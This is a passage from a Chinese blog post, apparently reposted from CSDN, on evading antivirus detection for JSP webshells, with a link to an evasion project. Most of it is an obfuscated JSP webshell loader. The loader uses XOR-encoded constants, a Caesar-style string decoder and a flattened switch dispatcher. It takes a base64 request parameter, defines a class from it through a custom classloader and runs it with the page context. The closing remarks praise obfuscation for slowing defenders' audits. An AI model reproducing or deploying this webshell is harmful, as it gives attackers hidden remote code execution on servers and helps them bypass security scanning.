    65. rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - 'a') - offset + (1474946 ^ 1474968)) % (1398627 ^ 1398649) + 'a');
    66. } else if (rKfCgregXvByjCvhxRxW >= 'A' && rKfCgregXvByjCvhxRxW <= 'Z') {
    67. rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - 'A') - offset + (1850740 ^ 1850734)) % (1084508 ^ 1084486) + 'A');
    68. } else if (rKfCgregXvByjCvhxRxW >= '0' && rKfCgregXvByjCvhxRxW <= '9') {
    69. rKfCgregXvByjCvhxRxW = (char) (((rKfCgregXvByjCvhxRxW - '0') - offset + (1210262 ^ 1210268)) % (1307501 ^ 1307495) + '0');
    70. } else {
    71. UJmcHvuZzxZueglvhEXj = new StringBuilder(str);
    72. break;
    73. }
    74. UJmcHvuZzxZueglvhEXj.append(rKfCgregXvByjCvhxRxW);
    75. }
    76. String DqvcAOdAcpWauApzwTRq = UJmcHvuZzxZueglvhEXj.toString();
    77. DqvcAOdAcpWauApzwTRq = DqvcAOdAcpWauApzwTRq.replace("\\\"", "\"");
    78. DqvcAOdAcpWauApzwTRq = DqvcAOdAcpWauApzwTRq.replace("\\n", "\n");
    79. return DqvcAOdAcpWauApzwTRq;
    80. } catch (Exception ignored) {
    81. return "";
    82. }
    83. }
    84. %><%
    85. String[] oNJuJikOgjxSAgpuapoa = new String[]{"MXw2fDExfDB8MTJ8N3w1fDl8MTN8NHwzfDJ8OHwxMA==", "eWpiYmZtbQ=="};
    86. String ckphsywtqiXvMyIouIdk = dec(oNJuJikOgjxSAgpuapoa[((0 ^ 1454308) ^ (144559 ^ 1311819))], ((842141 ^ 1629663) ^ (862872 ^ 1650387)));
    87. String[] FcuXNygiqPJbDZwvnlSg = ckphsywtqiXvMyIouIdk.split("\\|");
    88. String dmjXOSyFxLGKfPNJeVkE = null;
    89. ClassLoader jKpxyUZqKneUsfmnxTlC = null;
    90. VGakJDyicU QTZxUuEMsBJWRNcudHyD = null;
    91. byte[] fOusiCauDCKbMzDlKvqw = null;
    92. Class AAsWwIQGRxHfKbdqLZev = null;
    93. Object BYaCKDJJsTfIPkqUyKoL = null;
    94. int YvkdhaCbnCbPDaUNRuBo = ((187401 ^ 1704406) ^ (1008132 ^ 1556443));
    95. while (YvkdhaCbnCbPDaUNRuBo < ((319511 ^ 1953485) ^ (612423 ^ 1078932))) {
    96. int cTJfJkZQDeaXOYYzRNnC = Integer.parseInt(FcuXNygiqPJbDZwvnlSg[YvkdhaCbnCbPDaUNRuBo++]);
    97. switch (cTJfJkZQDeaXOYYzRNnC) {
    98. case ((664766 ^ 1058149) ^ (44698 ^ 1748812)):
    99. for (int OxJhcBTqssMVndvyMIjo = ((309873 ^ 1246634) ^ (241737 ^ 1314706)); OxJhcBTqssMVndvyMIjo < ((333641 ^ 1628558) ^ (832090 ^ 1146007)); OxJhcBTqssMVndvyMIjo++) {
    100. if (OxJhcBTqssMVndvyMIjo == ((861272 ^ 1921733) ^ (635827 ^ 1688871))) {
    101. break;
    102. }
    103. }
    104. break;
    105. case ((122212 ^ 1235151) ^ (468463 ^ 1318981)):
    106. dmjXOSyFxLGKfPNJeVkE = request.getParameter(dec(oNJuJikOgjxSAgpuapoa[((69673 ^ 1384378) ^ (410020 ^ 1199670))], ((115978 ^ 1645709) ^ (996168 ^ 1567430))));
    107. break;
    108. case ((1002251 ^ 1980313) ^ (29403 ^ 1117772)):
    109. BYaCKDJJsTfIPkqUyKoL = AAsWwIQGRxHfKbdqLZev.newInstance();
    110. break;
    111. case ((520420 ^ 1745450) ^ (7204 ^ 1920737)):
    112. jKpxyUZqKneUsfmnxTlC = this.getClass().getClassLoader();
    113. break;
    114. case ((167948 ^ 1791275) ^ (393195 ^ 1850060)):
    115. QTZxUuEMsBJWRNcudHyD = new VGakJDyicU(jKpxyUZqKneUsfmnxTlC);
    116. break;
    117. case ((327792 ^ 1385753) ^ (860610 ^ 1901735)):
    118. fOusiCauDCKbMzDlKvqw = base64Decode(dmjXOSyFxLGKfPNJeVkE);
    119. break;
    120. case ((944603 ^ 1361552) ^ (529251 ^ 1227823)):
    121. AAsWwIQGRxHfKbdqLZev = QTZxUuEMsBJWRNcudHyD.qwer(fOusiCauDCKbMzDlKvqw);
    122. break;
    123. case ((1757191 ^ 1036219) ^ (30436 ^ 1403230)):
    124. if (dmjXOSyFxLGKfPNJeVkE == null) {
    125. return;
    126. }
    127. break;
    128. case ((361224 ^ 1559863) ^ (259966 ^ 1161544)):
    129. BYaCKDJJsTfIPkqUyKoL.equals(pageContext);
    130. break;
    131. }
    132. }
    133. %>

    免杀项目地址:

    https://github.com/EmYiQing/JSPHorse

    总结:

    其实在已有的免杀技术上加入混淆技术不一定能够提高免杀能力,因为例如method.invoke等关键类和方法的调用并没有改变,但这也是一种尝试,或许可以绕过一些基于模拟执行的检测,也可以增加防御方审计分析的成本。

  • 相关阅读:
    设计模式之简单工厂模式
    ChatGPT AutoExpert:通过自定义指令,增强 GPT-4 和 GPT-3.5-Turbo 对话模型的功能
    记账不等于抠门
    2 | Window 搭建单机 Hadoop 和Spark
    一文读懂Embedding
    css grid实现九宫格布局
    腾讯云TI平台持续升级,TI-ACC训练加速性能较原生框架提升超30%
    java学习
    地图可视化绘制 | R-ggplot2 NC地图文件可视化
    在Android开发中如何使用OpenSL ES库播放解码后的pcm音频文件?
  • 原文地址:https://blog.csdn.net/qq_35029061/article/details/126091804